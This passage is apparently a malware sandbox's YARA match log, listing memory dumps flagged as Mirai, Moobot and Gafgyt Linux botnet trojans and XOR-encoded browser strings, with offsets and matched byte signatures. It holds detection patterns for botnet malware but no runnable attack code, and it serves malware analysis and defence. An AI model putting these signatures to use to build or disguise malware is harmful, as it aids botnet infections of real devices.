2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6793.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6767.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6767.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6767.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6767.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6767.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7321.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7158.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7158.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7158.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7158.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7158.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7158.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7311.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7225.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6356.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6356.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6356.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6356.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6356.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6356.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6686.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6686.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6686.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6686.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6686.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6686.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6706.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6283.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6984.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7076.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7076.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7076.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7076.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7076.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7076.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7250.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6919.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6858.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6858.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6858.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6858.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
